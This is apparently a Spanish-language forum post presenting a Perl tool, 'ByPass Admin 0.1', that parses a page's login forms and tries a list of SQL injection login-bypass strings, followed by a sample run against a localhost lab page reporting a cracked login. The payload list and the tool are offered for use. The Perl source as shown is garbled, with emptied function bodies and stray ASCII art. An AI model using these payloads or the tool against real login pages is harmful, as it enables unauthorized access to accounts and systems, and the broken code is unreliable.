administracion , lo bueno es que parsea todos los formularios encontrados en la pagina marcada para que todo sea mas automatico.
El programa depende de un archivo de texto llamado bypass.txt
Código:
admin'--
'or'1'='1
'or'
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
- ' or 'x'='x
- ' or 'x'='x
'or'1 ou 'or''='
' or 'x'='x
admin' or 1==1
' OR "='
'or'1'='1
El codigo (formateado con perltidy) es
Código
#!usr/bin/perl #ByPass Admin 0.1 #Coded By Doddy H use LWP::UserAgent; use HTML::Form; my $nave = LWP::UserAgent->new; $nave->agent( "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12" ); $nave->timeout(5); head(); start(); copyright(); sub start { my $code = toma($url); my @testar = HTML::Form->parse( $code, "/" ); $count = 0; foreach my $test (@testar) { $count++; if ( $test->attr(name) eq "" ) { } else { } @inputs = $test->inputs; foreach $in (@inputs) { } } my @bypass = loadword(); if ( $op2 eq "1" ) { for my $by (@bypass) { my $code = load( $url, $code, $op, $aca, $by ); if ( $code =~ /$st/ig ) { cracked( $url, $by ); } } } if ( $op2 eq "2" ) { for my $by (@bypass) { my $code = load( $url, $code, $op, $aca, $by ); unless ( $code =~ /$st/ig ) { cracked( $url, $by ); } } } if ( $op2 eq "3" ) { my $prueba_falsa = load( $url, $code, $op, $aca, "fuck you" ); for my $by (@bypass) { my $code = load( $url, $code, $op, $aca, $by ); unless ( $code eq $prueba_falsa ) { cracked( $url, $by ); } } } } sub load { my ( $url, $code, $op, $aca, $text ) = @_; $op--; my @probar = ( HTML::Form->parse( $code, "/" ) )[$op]; for my $testa (@probar) { if ( $testa->method eq "POST" ) { my @inputs = $testa->inputs; for my $in (@inputs) { if ( $in->type eq "submit" ) { if ( $in->name eq $aca ) { } } else { } } my @preuno = @ordenuno; my $codeuno = $nave->post( $url, \@preuno )->content; } else { my $final = ""; my $orden = ""; my $partedos = ""; my @inputs = $testa->inputs; for my $testa (@inputs) { if ( $testa->name eq $aca ) { } else { $orden .= '' . $testa->name . '=' . $text . '&'; } } my $partedos = "&" . $botones_names[0] . "=" . $botones_values[0]; my $final = $url . "?" . $orden . $partedos; $codedos = toma($final); } } } sub cracked { savefile( "logs-bypass.txt", "[+] URL : $_[0]" ); savefile( "logs-bypass.txt", "[+] Bypass : $_[1]\n" ); copyright(); } sub loadword { my $file = "bypass.txt"; if ( -f $file ) { my @txts = <FI>; close FI; } else { copyright(); } } sub head { @@@@ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@ @@ @@ @ @ @@@@ @@@ @@ @ @ @@ @@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @ @@@@ @@ @@ @ @ @@@@ @ @ @ @ @ @ @ @@ ); } sub copyright { <stdin>; } sub savefile { close SAVE; } sub toma { } #The End ?
Un ejemplo de uso
Código:
@@@@ @@@@@ @ @ @
@ @ @ @ @ @
@ @ @ @ @ @ @
@ @ @ @ @ @ @@@ @@ @@ @ @ @@@@ @@@ @@ @ @ @@
@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @ @@ @
@ @ @ @ @ @@@@ @ @ @ @ @ @ @ @ @ @ @ @
@ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @
@ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
@@@@ @ @ @@@@ @@ @@ @ @ @@@@ @ @ @ @ @ @
@
@@
[+] Admin : http://localhost/labs/bypass/primero.php
-- == Form 1 == --
[+] Name : No Found
[+] Action : /
[+] Method : POST
-- == Input == --
[+] Type : text
[+] Name : usuario
[+] Value :
[+] Type : password
[+] Name : password
[+] Value :
[+] Type : submit
[+] Name : logeo
[+] Value : Entrar
[+] Form to crack : 1
[+] Submit : logeo
[+] Options to check
1 - Positive
2 - Negative
3 - Automatic
[+] Option : 1
[+] String : exitoso
[+] Cracking login....
[+] Login Cracked
[+] URL : http://localhost/labs/bypass/primero.php
[+] Bypass : 'or'1'='1
(C) Doddy Hackman 2012